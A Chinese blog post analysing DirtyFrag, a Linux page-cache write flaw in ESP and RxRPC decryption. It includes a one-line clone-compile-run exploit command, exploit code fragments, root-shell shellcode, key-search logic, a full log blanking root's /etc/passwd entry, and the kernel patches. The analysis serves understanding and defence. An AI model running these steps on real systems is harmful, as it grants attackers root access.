当前位置:首页>Linux>DirtyFrag:一行命令拿下 Linux root 权限的漏洞全解析

DirtyFrag:一行命令拿下 Linux root 权限的漏洞全解析

  • 2026-07-01 06:37:37
DirtyFrag:一行命令拿下 Linux root 权限的漏洞全解析

一、背景与前置知识

1.1 漏洞概览

2026 年 5 月 7 日,研究员 Hyunwoo Kim(@v4bel)因 embargo 被第三方提前打破,被迫公开了 DirtyFrag 漏洞。它允许任何普通用户(无需任何特权)在约 1 秒内将自己提升为 root,影响几乎所有主流 Linux 发行版,漏洞代码存续最长 9 年

一行命令复现:

git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag \  && gcc -O0 -Wall -o exp exp.c -lutil && ./exp

DirtyFrag 与近年两个著名漏洞同属一个漏洞类——都利用零拷贝机制修改只读文件的内存内容:

漏洞
年份
污染目标结构
写入触发路径
DirtyPipe (CVE-2022-0847)
2022
struct pipe_buffer
pipe 写操作
Copy Fail (CVE-2023-4459)
2023
AF_ALG
 TX SGL
algif_aead
 recv
DirtyFrag
2026
sk_buff
 frag
ESP 解密 / RxRPC 解密

DirtyFrag 包含两个可链式组合的变体:xfrm-ESP 变体(需要用户命名空间权限,但存在于绝大多数发行版)和 RxRPC 变体(无需任何权限,但依赖 rxrpc.ko 模块)。两者互为补充,覆盖所有主流环境。

1.2 页缓存:Linux 文件 I/O 的内存抽象层

Linux 并不直接对硬盘上的文件执行读写,而是在内存中维护一个页缓存(Page Cache)作为缓冲层。每个文件在内存中由若干 4KB 的物理页(struct page)组成,所有进程 read() 同一文件时访问的是同一组物理页:

           硬盘                     内存(页缓存)   ┌──────────────────┐     ┌──────────────────────────┐   │ /etc/passwd      │─读─▶│ page[0]: root:x:0:0:...  │◀──── 进程 A 的 read()   │ /usr/bin/su      │     │ page[1]: daemon:x:1:1:.. │◀──── 进程 B 的 read()   └──────────────────┘     └──────────────────────────┘                               所有进程共享同一组物理页

关键性质:页缓存页面有写保护(PTE_WRITE 清零),普通进程无法通过 write() 修改只读文件的页缓存。但内核代码运行在 ring 0,可以通过 page_address(page) + offset 直接寻址物理页面——内核的原地加密/解密操作就是通过这种方式写入页面的

这正是 DirtyFrag 的核心:想办法让内核代码把页缓存页面当成"自己的工作缓冲区"来写入。

1.3 零拷贝路径:splice() 与 vmsplice() 如何构造危险的 skb

普通发送路径(有拷贝,安全):

用户调用 write(sockfd, buf, n)  → 数据从用户缓冲区拷贝到内核 skb 的线性区(内核私有内存)  → 内核对线性区执行原地操作 → 安全

零拷贝路径(无拷贝,危险):

用户调用 splice(file_fd → pipe → sockfd)  → 内核把文件的页缓存页面直接挂进 skb 的 frag 列表(不拷贝)  → 内核对 frag 执行原地操作 → 直接写入页缓存页面!

利用代码中,每次触发用到 vmsplice + splice 的组合,精确构造出"头部在线性区、payload 在 frag"的非线性 skb:

// 步骤1:vmsplice 把 ESP header(用户栈上的普通内存)注入 pipeuint8_t hdr[24];*(uint32_t*)(hdr+0) = htonl(spi);      // ESP SPI*(uint32_t*)(hdr+4) = htonl(SEQ_VAL); // 序列号低位memset(hdr+80xCC16);              // IV(值无关紧要)vmsplice(pfd[1], &(struct iovec){hdr, 24}, 10);// → pipe 里的第一个 slot 指向 hdr 所在的内存页(内核会 copy-on-write,最终是内核私有页)// 步骤2:splice 把 /usr/bin/su(或 /etc/passwd)的页缓存页直接注入 pipeoff_t off = i * 4;splice(file_fd, &off, pfd[1], NULL16, SPLICE_F_MOVE);// → pipe 里的第二个 slot 直接引用 /usr/bin/su 的页缓存页 P,不做任何拷贝// 步骤3:splice 把 pipe 内容发送到 UDP socketsplice(pfd[0], NULL, sk_send, NULL24 + 16, SPLICE_F_MOVE);// splice_to_socket() 自动设置 MSG_SPLICE_PAGES,告知内核:// "这些数据来自文件页面引用,直接用引用,不要复制"

MSG_SPLICE_PAGES 标志是关键——它告诉 __ip_append_data() 以"零拷贝 frag"模式追加数据,而不是把数据复制进新分配的内核内存。最终在 loopback 上收到的 skb 的内存布局如下:

skb(接收方看到的){    head/linear  [24B]:ESP_hdr(SPI=0xDEADBE1i, seq_lo=200) + IV(0xCC*16)                         ↑ 内核私有内存,原地操作对它无害    frags[0]     [16B]:{ page = &P, offset = i*4, size = 16 }                         ↑ 直接指向 /usr/bin/su 的页缓存页 P!}skb->data_len = 16  (非线性)skb_cloned(skb) = falseskb_has_frag_list(skb) = false

这个 skb 形状精确地命中了两个变体的漏洞分支。

1.4 XFRM/ESP/ESN 基础

XFRM 是 Linux 内核的 IPsec 实现框架。ESP(Encapsulating Security Payload) 对网络包载荷进行加密 + 认证。每个 SA(Security Association,安全关联) 存储加密算法、密钥、序列号等信息,通过 Netlink 套接字(XFRM_MSG_NEWSA)创建。

ESN(Extended Sequence Numbers) 把重放保护序列号从 32 位扩展到 64 位:高 32 位 seq_hi + 低 32 位 seq_lo。SA 中的 replay_esn->seq_hi 由创建 SA 时的用户通过 XFRMA_REPLAY_ESN_VAL 属性自由填写,内核不做任何校验。

ESP-in-UDP 封装UDP_ENCAP_ESPINUDP):将 ESP 包封装在 UDP 包里穿越 NAT。在 Linux 上,设置了 UDP_ENCAP_ESPINUDP 选项的 UDP socket 收到数据包时,内核会自动把 UDP 包路由到 XFRM 输入路径(xfrm4_udp_encap_rcv → xfrm_input → esp_input),而不是交给普通的 UDP 接收队列。

1.5 RxRPC / RXKAD / fcrypt 基础

RxRPC 是 Andrew File System (AFS) 使用的 RPC 协议,以内核模块 rxrpc.ko 形式存在。RXKAD 是 RxRPC 的安全层(RXRPC_SECURITY_AUTH 级别),使用 fcrypt 加密算法(AFS 专用,56 位密钥,8 字节块,Feistel 结构)。

RXKAD 认证流程(challenge-response):

  1. 客户端发出 RPC 调用请求(DATA 包)
  2. 服务端返回 CHALLENGE 包(含 nonce、版本号)
  3. 客户端用会话密钥 K 加密应答,返回 RESPONSE 包(含加密的票据信息)
  4. 此后双方建立了"以 K 保护的"安全连接
  5. 每个 DATA 包都要经过 rxkad_verify_packet() 验证,先检 cksum,再在 rxkad_verify_packet_1() 中原地解密前 8 字节

add_key("rxrpc", ...) 完全无权限要求——普通用户可以随意注册 RxRPC 密钥并指定任意会话密钥 K。

二、漏洞原理

2.1 ESP 变体根因:esp_input() 的 skip_cow 分支

漏洞文件net/ipv4/esp4.cesp_input() 函数。

正常的 ESP 原地解密流程需要先调用 skb_cow_data() 把 frag 中的数据复制到内核私有缓冲区("copy-on-write"),再对私有副本原地操作。但存在一条绕过路径:

staticintesp_input(struct xfrm_state *x, struct sk_buff *skb){    ...if (!skb_cloned(skb)) {if (!skb_is_nonlinear(skb)) {      // [1] 线性包:安全,合理            nfrags = 1;goto skip_cow;        } elseif (!skb_has_frag_list(skb)) {  // [2] 有 frag 但无 frag_list:跳过 CoW!            nfrags = skb_shinfo(skb)->nr_frags;            nfrags++;goto skip_cow;                 // ← 漏洞入口        }    }    err = skb_cow_data(skb, 0, &trailer);  // 正常路径:复制 frag 数据到私有缓冲区    ...// goto skip_cow 后的代码:CoW 已被跳过,直接使用原 skb 的 fragskip_cow:    esp_input_set_header(skb, &seqhi);     // 重排 ESN 字节,skb_push(4)    skb_to_sgvec(skb, sg, 0, skb->len);   // frag 直接转成 SGL,page=P 就在 sg 里    aead_request_set_crypt(req, sg, sg, elen+ivlen, iv); // src=dst=sg(原地!)    crypto_aead_decrypt(req);

我们构造的 skb 满足:skb_cloned()=falseskb_is_nonlinear()=true(有 frag)、skb_has_frag_list()=false,精确命中 [2] 分支,跳过了对 frag 数据的 skb_cow_data 复制,frag[0] 里的页缓存页 P 作为 SGL 的一部分直接进入 src=dst 的原地解密。

写入了什么内容?追踪 crypto_authenc_esn_decrypt() 的预处理步骤

当 AEAD 算法为 authencesn(hmac(sha256), cbc(aes)) 且启用 ESN 时,正式解密之前有一个 序列号字节重排 步骤,目的是把 ESN 高位字节临时移到载荷末尾:

staticintcrypto_authenc_esn_decrypt(struct aead_request *req){    ...// 第一步:从 SGL 偏移 0 读 8 字节到临时变量 tmp[0..1]// esp_input_set_header() 已经重排线性区://   tmp[0] = SGL[0..3](原始 SPI,由 esp_input_set_header 保存到线性区头部)//   tmp[1] = SGL[4..7](seq_hi,来自 SA replay_esn,攻击者完全控制)    scatterwalk_map_and_copy(tmp, src, 080/*read*/);if (src == dst) {    // 原地模式下 src==dst,成立// 第二步:把 tmp[0](seq_no_lo)写回到 SGL 偏移 4        scatterwalk_map_and_copy(tmp, dst, 441/*write*/);  // 写线性区,无害// 第三步:把 tmp[1] 写到 SGL 的 assoclen+cryptlen 位置        scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 41/*write*/);//                       ^^^^^^           ^^^^^^^^^^^^^^^^^//                       来自 SA 的 seq_hi  精心控制的偏移 → 命中 frag(页缓存)

第三步是漏洞核心tmp[1] 的值是 SA 的 seq_hi,通过 esp_input_set_header() 写进来的:

staticvoidesp_input_set_header(struct sk_buff *skb, __be32 *seqhi){if (x->props.flags & XFRM_STATE_ESN) {        esph = skb_push(skb, 4);        *seqhi = esph->spi;        esph->spi = esph->seq_no;        esph->seq_no = XFRM_SKB_CB(skb)->seq.input.hi;  // ← SA 的 replay_esn->seq_hi    }}

XFRM_SKB_CB(skb)->seq.input.hi 就是 SA 注册时 XFRMA_REPLAY_ESN_VAL.seq_hi 的值——攻击者完全控制的 4 字节

攻击者通过 splice(file_fd, offset=i*4, ...) 控制 frag 在 SGL 中的偏移,并精心调整 cryptlen(ESP 载荷长度),使 assoclen + cryptlen 恰好落在 frag 页面的 i*4 偏移处,从而把 4 字节精确写入 /usr/bin/su 页缓存的 i*4 偏移位置。

AEAD 认证在写操作之后crypto_aead_decrypt() 返回 -EBADMSG(因为 HMAC 密钥是攻击者随意填的 0xAA...),但写操作已经完成,错误被调用方忽略,页缓存修改永久生效。攻击者无需知道任何密钥。

完整触发调用链(接收端视角):

UDP 包到达 loopback  udp_queue_rcv_one_skb()    xfrm4_udp_encap_rcv(sk, skb)          ← UDP_ENCAP_ESPINUDP 路由到 XFRM      xfrm_input(skb, IPPROTO_ESP, spi=0xDEADBE1i, 0)        esp_input(x, skb)          pskb_may_pull(skb, 8+16)        ← 确保 ESP header+IV 在线性区          // skb 不是 cloned,没有 frag_list → 命中 skip_cow 分支          esp_input_set_header(skb, &seqhi)            skb_push(skb, 4)             ← 在线性区前面插入 4 字节            esph->seq_no = seq.input.hi  ← 写入攻击者控制的 seq_hi          skb_to_sgvec(skb, sg, 0, skb->len)            // sg[0] = linear 区(ESP header + IV,共 28B)            // sg[1] = frag[0](page=P, off=i*4, len=16)← 页缓存页!          aead_request_set_crypt(req, src=sg, dst=sg, ...)  ← src=dst          crypto_aead_decrypt(req)            crypto_authenc_esn_decrypt(req)              scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 1)                // assoclen+cryptlen 精心调整,落在 sg[1] 的偏移 i*4 = page P 的偏移 i*4                memcpy(page_address(P) + i*4, &seq_hi, 4)                // ← 4 字节写入 /usr/bin/su 页缓存!return -EBADMSG             ← 认证失败,但写操作已完成

2.2 ESP 变体利用:48 次写拼出 192 字节 ELF

利用目标:覆盖 /usr/bin/su 页缓存的前 192 字节,植入一个迷你 root-shell ELF。

ELF 头(0x00~0x77):  PT_LOAD: vaddr=0x400000, filesz/memsz=0xb8, flags=R|X  e_entry = 0x400078(文件偏移 0x78)入口点 shellcode(0x78~0xb7):  31 ff           xor edi, edi  31 f6           xor esi, esi  31 c0           xor eax, eax  b0 6a           mov al, 0x6a      ; SYS_setgid(0)  0f 05           syscall  b0 69           mov al, 0x69      ; SYS_setuid(0)  0f 05           syscall  b0 74           mov al, 0x74      ; SYS_setgroups(0, NULL)  0f 05           syscall  ...  6a 3b 58        push 0x3b; pop rax ; SYS_execve  0f 05           syscall           ; execve("/bin/sh", NULL, ["TERM=xterm",NULL])数据段(0xa5~0xb7):"TERM=xterm\0"  (防止 bash.bashrc 中 tput 报错)"/bin/sh\0"

整个 192 字节 ELF 被硬编码在 shell_elf[] 数组中,以 4 字节为单位分成 48 块。每块对应一次 SA 注册(spi = 0xDEADBE10 + iseq_hi = shell_elf[i*4..i*4+3] 按大端序打包为 uint32),加 48 次 splice 触发:

for (int i = 0; i < 48; i++) {uint32_t spi    = 0xDEADBE10 + i;uint32_t seqhi  = be32(shell_elf + i*4);   // 4 字节目标值    add_xfrm_sa(spi, seqhi);                    // 注册 SA,seq_hi=seqhi    do_one_write("/usr/bin/su", i*4, spi);      // 触发一次写}

48 次循环后,/usr/bin/su 的页缓存 [0, 192) 区间被完整替换。父进程 execve("/usr/bin/su") 时,内核映射修改后的页缓存,setuid-root 位使进程提权到 euid=0,入口点 shellcode 调用 setuid(0); execve("/bin/sh") 获得 root shell。

创建用户/网络命名空间的必要性:注册 XFRM SA 需要 CAP_NET_ADMIN,而在新用户命名空间内,调用者在该命名空间内是 root,自动拥有 CAP_NET_ADMINunshare(CLONE_NEWUSER|CLONE_NEWNET) 加上 uid/gid identity map(0 <real_uid> 1)即可获得这个权限:

unshare(CLONE_NEWUSER | CLONE_NEWNET);write_proc("/proc/self/setgroups""deny");write_proc("/proc/self/uid_map""0 <real_uid> 1");  // 在新 userns 里映射为 uid=0write_proc("/proc/self/gid_map""0 <real_gid> 1");// 现在在新 netns 里拥有 CAP_NET_ADMIN,可以注册 XFRM SA// 但 /usr/bin/su 的页缓存是全局共享的,修改对宿主 userns 同样可见

2.3 RxRPC 变体根因:rxkad_verify_packet_1() 的原地解密

漏洞文件net/rxrpc/rxkad.crxkad_verify_packet_1() 函数。

staticintrxkad_verify_packet_1(struct rxrpc_call *call, struct sk_buff *skb,rxrpc_seq_t seq, struct skcipher_request *req){structrxrpc_skb_priv *sp = rxrpc_skb(skb);    sg_init_table(sg, ARRAY_SIZE(sg));    ret = skb_to_sgvec(skb, sg, sp->offset, 8);// sp->offset = RxRPC wire header 长度 = 28 字节// → sg 直接指向 skb 偏移 28 处的 8 字节// → 如果偏移 28 处是 frag 页,sg 就指向页缓存页 Pmemset(&iv, 0sizeof(iv));   // IV 固定为全 0    skcipher_request_set_crypt(req, sg, sg, 8, iv.x);//                              ^^  ^^  ← src=dst,原地!    ret = crypto_skcipher_decrypt(req);// pcbc(fcrypt) 解密 8 字节,直接写入 sg 指向的页缓存页 P    ...return ret;  // 返回 -EPROTO(校验失败),但写操作已完成}

问题与 ESP 变体完全类似:skb_to_sgvec 直接把 frag(页缓存页)转成 SGL,skcipher_request_set_crypt(req, sg, sg, ...) 指定原地模式,解密操作写入页缓存。

为什么没有走 CoW 路径? 在 rxrpc/call_event.c 中,进入解密前有一个检查:

// call_event.c 第 334 行(漏洞代码)if (sp->hdr.type == RXRPC_PACKET_TYPE_DATA &&    sp->hdr.securityIndex != 0 &&    skb_cloned(skb)) {          // ← 只检查了 cloned,忘了检查非线性(有 frag)    skb = skb_unshare(skb, GFP_ATOMIC);  // unshare:创建私有副本}

我们构造的 skb:skb_cloned() = false(没有多个引用者),所以 unshare 不会发生,带着页缓存 frag 的 skb 直接到达 rxkad_verify_packet_1()

2.4 RxRPC 变体:用 pcbc(fcrypt) 的密钥搜索实现受控写

写入内容分析

当 IV=0、数据长度恰好是一个块(8 字节)时,PCBC 模式退化为 ECB 模式:

  • PCBC 加密:C = E(P ⊕ IV) = E(P ⊕ 0) = E(P) → 等价于 ECB
  • PCBC 解密:P = D(C) ⊕ IV = D(C) ⊕ 0 = D(C) → 等价于 fcrypt_decrypt(C, K)

所以实际的写入值为 fcrypt_decrypt(C, K),其中:

  • C:文件偏移 splice_offset 处的当前 8 字节内容("密文",实际是明文内容)
  • K:攻击者注册的 8 字节 RxRPC 会话密钥

攻击者在用户空间枚举 K,直到 fcrypt_decrypt(C, K) 输出期望的 8 字节明文。fcrypt 移植到用户空间约 600-700 万次/秒,56 位密钥空间为 2⁵⁶ ≈ 7×10¹⁶,对全部 8 字节无约束时不可行,但约束越少的字节越少时代价越低。

利用目标:清空 /etc/passwd root 条目的密码字段

/etc/passwd 第一行(root 条目,偏移 0):偏移:  0  1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 ...原始:  r  o  o  t  :  x  :  0  :  0  :  r  o  o  t  :  /root:/bin/bash

目标:把偏移 4~5(密码字段)改为 ::,使 root 条目变成 root::0:0:...,PAM 的 nullok 选项会接受空密码,su - 无需输入密码即可获得 root shell。

由于 fcrypt 的 8 字节块宽度,攻击者设计了三次覆盖,每次覆盖 8 字节,后写覆盖前写(last-write-wins):

写 A @ 偏移 4(8B):目标 bytes 4-5 = "::",bytes 6-11 无约束  → 约束 2 字节,搜索空间 ~65536,枚举 < 1ms写 B @ 偏移 6(8B):目标 bytes 6-7 = "0:",bytes 8-13 无约束  → 约束 2 字节,搜索空间 ~65536,枚举 < 1ms写 C @ 偏移 8(8B):目标 bytes 8-9 = "0:",byte 15 = ":",bytes 10-14 ≠ 冒号/换行/空字节  → 约束 3 字节(有效),搜索空间 ~1/(256²×249) ≈ 5.4e-8,枚举约 1s

三次写的重叠覆盖效果:

           偏移  0  1  2  3  4  5  6  7  8  9 10 11 12 13 14 15原始值:         r  o  o  t  :  x  :  0  :  0  :  r  o  o  t  :写 A 影响:                     [A  A  A  A  A  A  A  A]写 B 影响:                           [B  B  B  B  B  B  B  B]写 C 影响:                                 [C  C  C  C  C  C  C  C]  ↑ C 覆盖了 B 改动的大部分,B 覆盖了 A 改动的大部分最终结果:         r  o  o  t  :  :  0  :  0  :  *  *  *  *  *  :                              ↑↑ 密码字段为空    ↑ 任意非特殊字符→  "root::0:0:XXXXX:/root:/bin/bash"  — root 密码字段为空字符串!

链式密文修正

这是 RxRPC 变体中最精妙的设计。写操作 A 执行后,文件偏移 4~11 被修改,这改变了写操作 B 看到的"密文 C_b"。B 在用户空间的搜索必须针对修改后的密文进行,否则找到的 K_B 在 B 实际触发时会写入错误的结果。

具体机制:

原始密文 Cb = passwd[6..13] = 3a303a303a726f6f写操作 A 执行后:  passwd[4..11] 被替换为 P_A = 3a3ad73bdbcea361 ("::.;...a")  → B 在触发时实际看到的密文 Cb_actual:    Cb_actual[0..5] = P_A[2..7] = d73bdbcea361        ← A 结果的后 6 字节(6B)    Cb_actual[6..7] = 原始 passwd[12..13] = 6f6f      ← 未被 A 覆盖的原始值    完整 Cb_actual = d73bdbcea3616f6f(8B,与日志吻合)搜索 K_B 时必须用 Cb_actual 而非原始 Cb,确保 fcrypt_decrypt(Cb_actual, K_B) 输出正确明文

代码中的处理:

find_K(Ca, check_pa, &Ka, &Pa);                      // Pa = fcrypt_decrypt(Ca, Ka)memcpy(Cb_actual, Pa+26);                           // 链式修正memcpy(Cb_actual+6, Cb+62);find_K(Cb_actual, check_pb, &Kb, &Pb);memcpy(Cc_actual, Pb+26);memcpy(Cc_actual+6, Cc+62);find_K(Cc_actual, check_pc, &Kc, &Pc);

触发时如何通过 cksum 检查

rxkad_verify_packet_1() 只在 rxkad_verify_packet() 通过 cksum 检查后才被调用。cksum 是用会话密钥 K 计算的,攻击者必须正确计算 cksum,让 DATA 包通过第一层验证,才能到达原地解密的漏洞点。

cksum 的两阶段计算(均可在用户空间通过 AF_ALG(pcbc(fcrypt)) 完成):

// 阶段一:计算 csum_iv(ref: rxkad_prime_packet_security)uint32_t in[4] = { htonl(epoch), htonl(cid), 0, htonl(sec_ix=2) };PCBC_encrypt(in, 16, key=K, IV=K)  →  out[16]csum_iv = out[8..15]// 阶段二:计算 wire cksum(ref: rxkad_secure_packet)uint32_t buf[2] = { htonl(call_id),                    htonl((cid&3)<<30 | (seq&0x3fffffff)) };PCBC_encrypt(buf, 8, key=K, IV=csum_iv)  →  enc[8]cksum = (ntohl(enc[1]) >> 16) & 0xffff;if (cksum == 0) cksum = 1;

攻击者伪造的 DATA 包携带正确的 cksum,通过第一层检查,顺利触发 rxkad_verify_packet_1() 的原地解密。

为什么需要伪造的"服务端"

AF_RXRPC 客户端的安全上下文(会话密钥 K)只在完成 challenge-response 握手后才建立。攻击者用一个普通 UDP socket 充当"假服务端",在握手阶段发送伪造的 CHALLENGE 包(type=6,nonce=0xDEADBEEF),让客户端完成应答,从而在 conn->rxkad.cipher 里建立以 K 为密钥的 pcbc(fcrypt) 上下文。之后"假服务端"再直接发 DATA 包(携带正确 cksum、含 splice 了页缓存的 frag),触发漏洞。

2.5 链式利用

两个变体的盲点互补:

ESP 变体
RxRPC 变体
权限要求
需要 unshare(CLONE_NEWUSER)
完全无权限要求
模块依赖esp4.ko
(几乎所有发行版默认有)
rxrpc.ko
(仅 Ubuntu 等少数发行版默认有)
Ubuntu AppArmor
有时会阻止 unprivileged userns 创建
不受 AppArmor 影响
RHEL/CentOS/Fedora
可用
rxrpc.ko
 通常不存在

链式逻辑(main() 伪代码):

// 在子进程里尝试 ESP 变体pid = fork();if (pid == 0) {    setup_userns_netns();          // unshare(USER|NET) + 配置 lofor i in 0..47:        add_xfrm_sa(spi=0xDEADBE10+i, seq_hi=shell_elf[i*4..+4])        do_one_write("/usr/bin/su", off=i*4, spi)exit(0);}waitpid(pid, &st, 0);// 验证 ESP 是否成功(检查 /usr/bin/su 页缓存前两字节是否为 shellcode 首字节)if (verify_byte("/usr/bin/su"0x780x31) == 0 &&    verify_byte("/usr/bin/su"0x790xff) == 0) {    forkpty + execve("/usr/bin/su")  // ESP 成功:直接弹 root shellreturn;}// ESP 失败,回退到 RxRPC 变体rxrpc_lpe_main();  // 暴力枚举 K → 三次触发 → 修改 /etc/passwd → PAM nullok → root shell

三、复现过程与实际结果

3.1 环境

项目
主机 OS
Ubuntu 24.04.4 LTS
内核
6.8.0-110-generic(漏洞窗口内,无补丁)
运行用户
hx,uid=1000,gid=1000
容器
mimo-dev(Ubuntu 24.04.4,共享宿主内核,非 privileged)

容器因不具备 CAP_SYS_ADMIN/proc/self/uid_map 写入受限,同时 add_key("rxrpc",...) 也受容器 seccomp 限制,两个变体均无法在容器内触发。利用在宿主机以普通用户 hx 直接运行。

3.2 编译

docker cp exp.c mimo:/tmp/exp.cdocker exec mimo gcc -O0 -Wall -o /tmp/exp /tmp/exp.c -lutil  # 编译通过,无警告

3.3 完整利用日志(逐行注解)

[su] uid_map: Operation not permitted[su] corruption stage failed (status=0x100)

ESP 变体失败:unshare(CLONE_NEWUSER) 成功,但向 /proc/self/uid_map 写 identity map 时被 LSM 拒绝(宿主机有写入限制)。子进程以非零退出,verify_byte 检查失败,自动回退到 RxRPC 变体。

=== rxrpc/rxkad LPE EXPLOIT (uid=1000 → root) ===[*] uid=1000 euid=1000 gid=1000

RxRPC 变体以原始普通用户身份开始执行。

[+] rxrpc module autoloaded via dummy socket(AF_RXRPC)

socket(AF_RXRPC, SOCK_SEQPACKET, PF_RXRPC) 触发内核的模块自动加载机制(MODULE_ALIAS_NETPROTO(PF_RXRPC)),rxrpc.ko 及依赖的 fcrypt.kopcbc.ko 全部自动加载,无需手动 modprobe,无需任何权限。

[+] target /etc/passwd opened RO, size=1884, uid=0 gid=0 mode=0644[+] mmap'd /etc/passwd page-cache at 0x7e0e50a4c000 (PROT_READ|MAP_SHARED)

以 O_RDONLY 打开 /etc/passwdmmap(PROT_READ|MAP_SHARED) 建立只读映射。通过 mmap 地址可以观测页缓存内容变化,但无法通过 mmap 写入(会触发 SIGSEGV)。

[+] /etc/passwd line 1 first 16 bytes:72 6f 6f 74 3a 78 3a 30 3a 30 3a 72 6f 6f 74 3a[*] /etc/passwd line 1 (root entry) BEFORE: 'root:x:0:0:root:/root:/bin/bash'

读取当前页缓存内容确认为正常的 root 条目。

[+] Ca @ 4: 3a783a303a303a72 ":x:0:0:r"[+] Cb @ 6: 3a303a303a726f6f ":0:0:roo"[+] Cc @ 8: 3a303a726f6f743a ":0:root:"[+] fcrypt selftest OK

读取三个写操作位置的初始 8 字节内容(这些字节将作为 fcrypt 解密的"密文"输入)。用户空间 fcrypt 自检通过,确认与内核实现一致。

=== STAGE 1a: search K_A (chars 4-5 := "::") prob ~1.5e-5 ===[+] K_A found after 51279 iters in 0.01s (5.96M/s)    K=416a6bbf0458d73c  P=3a3ad73bdbcea361 "::.;...a"[+] Cb_actual (after splice A) = d73bdbcea3616f6f

枚举 K_A:共 51279 次,耗时 0.01s。找到的 K_A 使 fcrypt_decrypt(Ca=3a783a303a303a72, K_A) = P_A = 3a3ad73bdbcea361,P_A 的前 2 字节为 3a3a(即 "::")。写 A 执行后,偏移 4~11 变为 P_A,因此 B 实际看到的密文 Cb_actual = P_A[2..7] || passwd[12..13] = d73bdbcea361 + 6f6f = d73bdbcea3616f6f

=== STAGE 1b: search K_B (chars 6-7 := "0:") prob ~1.5e-5 ===[+] K_B found after 5479 iters in 0.00s (5.83M/s)    K=a5211f46500c61fc  P=303a487c60890051 "0:H|`..Q"[+] Cc_actual (after splice B) = 487c60890051743a

枚举 K_B:5479 次,几乎瞬间完成。链式修正同理,Cc_actual = P_B[2..7] || passwd[14..15] = 487c60890051 + 743a = 487c60890051743a

=== STAGE 1c: search K_C (chars 8-15 := "0:GGGGGG:") prob ~5.4e-8 ===[+] K_C found after 5970015 iters in 0.88s (6.77M/s)    K=06b60114149bb5e0  P=303a628a862dc33a "0:b..-.:"

枚举 K_C:约 600 万次,0.88 秒。约束更多(bytes 8-9 固定为 "0:",byte 15 固定为 ":"),概率更低但仍在秒级可行。P_C 的 bytes 8-9 = 30 3a("0:"),bytes 10-14 = 62 2e 2e 2d 2e("b..-.:"均非冒号/换行/空),byte 15 = 3a(":")。

[+] Predicted post-corruption /etc/passwd line 1:"root::0:0:b..-.:/root:/bin/bash"

拼合三次写操作的预期结果:密码字段(偏移 4-5)变为空字符串 ::,uid=0、gid=0 字段完整,GECOS 字段(偏移 10-14)为 b..-. (任意内容,不影响认证),分隔符 : 全部正确。

=== STAGE 2a: kernel trigger A @ off 4 (set chars 4-5 "::") ===[+] plain UDP fake-server bound :7779[+] AF_RXRPC client bound :7780[+] client sendmsg 8 B → :7779 (handshake will follow asynchronously)

依次建立 UDP 假服务端(:7779)和 AF_RXRPC 客户端(:7780)。客户端发出 DATA 包触发握手。内核 io_thread 处理 CHALLENGE/RESPONSE,在客户端 conn 上建立以 K_A 为密钥的 pcbc(fcrypt) 上下文。假服务端随后发送携带正确 cksum 且 frag 引用 /etc/passwd 偏移 4 处页缓存的 DATA 包。recvmsg() 触发 rxkad_verify_packet_1() 原地解密,fcrypt_decrypt(passwd[4..11], K_A) 写入 passwd 页缓存偏移 4~11。

(Stage 2b、2c 同理,依次写偏移 6 和偏移 8)[*] /etc/passwd line 1 (root entry) AFTER:  'root::0:0:b..-.:/root:/bin/bash'[!!!] HIT — root entry now has empty passwd field, uid=0, gid=0, dir=/root, shell=/bin/bash

三次写完成,通过 mmap 观测到页缓存已修改,与预测完全一致。

=== STAGE 3: independent verify via `getent passwd root` ===[getent passwd root] root::0:0:b..-.:/root:/bin/bash[+] PRIMITIVE proven: root entry has empty passwd field via NSS.root@orz:~#

getent 通过 NSS 调用 libc 再读 /etc/passwd,走页缓存,看到修改后的结果。su - 时 PAM pam_unix.so 遇到空密码字段,nullok 选项允许通过,su 执行 setresuid(0,0,0) 后 exec /bin/bash,得到 root shell。

全程耗时:暴力枚举约 0.9 秒,三次握手触发约 1 秒,总计约 2 秒内完成,完全确定性,无竞态条件。

3.4 磁盘文件完整性验证

# 利用成功后读取(走页缓存):$ head -1 /etc/passwdroot::0:0:b..-.:/root:/bin/bash    ← 页缓存已被篡改# 丢弃页缓存,强制从磁盘重读:$ sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'$ head -1 /etc/passwdroot:x:0:0:root:/root:/bin/bash    ← 磁盘原始内容完好无损

第二次运行 exp(在页缓存仍被修改期间),exploit 检测到已修改状态并直接弹 shell:

[+] /etc/passwd already patched (root::0:0...) — nothing to doroot@orz:~#    ← 直接弹出 root shell

这证明页缓存修改在同一系统上具有持久性,直到重启或 drop_caches

四、修复方案与缓解措施

4.1 ESP 变体补丁(已合并入 netdev 树,2026-05-07)

修复者:Kuan-Ting Chen。核心思路是在来源处打标记,而不是在使用处做限制。

// net/ipv4/ip_output.c(IPv4 数据追加路径)// 当 splice 把文件页面以零拷贝方式追加到 skb 时,打 SKBFL_SHARED_FRAG 标志+   if (!(flags & MSG_NO_SHARED_FRAGS))+       skb_shinfo(skb)->flags |= SKBFL_SHARED_FRAG;// net/ipv4/esp4.c(ESP 输入路径)// skip_cow 分支新增条件:有外部共享 frag 时不跳过 CoW-   } else if (!skb_has_frag_list(skb)) {+   } else if (!skb_has_frag_list(skb) &&+              !skb_has_shared_frag(skb)) {

IPv6 路径(net/ipv6/esp6.c 和 net/ipv6/ip6_output.c)同理修复。

skb_has_shared_frag() 检查 skb_shinfo(skb)->flags & SKBFL_SHARED_FRAGSKBFL_SHARED_FRAG 在 MSG_NO_SHARED_FRAGS 未设置时由 splice_to_socket() 的零拷贝路径设置,所以来自 vmsplice 的"内核私有" frag 不会被误判——vmsplice 的 frag 最终经过 copy-on-write 成为内核私有页,走的是 MSG_NO_SHARED_FRAGS 路径。

4.2 RxRPC 变体补丁(已提交 netdev,待合并)

修复者:Hyunwoo Kim。修复位置有两处,均是补全"非线性包(有 frag)也必须先拷贝"的条件:

// net/rxrpc/call_event.c — 数据包处理前的 unshare 检查-   if (sp->hdr.type == RXRPC_PACKET_TYPE_DATA && ... && skb_cloned(skb)) {+   if (sp->hdr.type == RXRPC_PACKET_TYPE_DATA && ... && (skb_cloned(skb) || skb->data_len)) {        skb = skb_unshare(skb, GFP_ATOMIC);// net/rxrpc/conn_event.c — RESPONSE 包处理前的 unshare 检查-   if (skb_cloned(skb)) {+   if (skb_cloned(skb) || skb->data_len) {        skb = skb_copy(...);

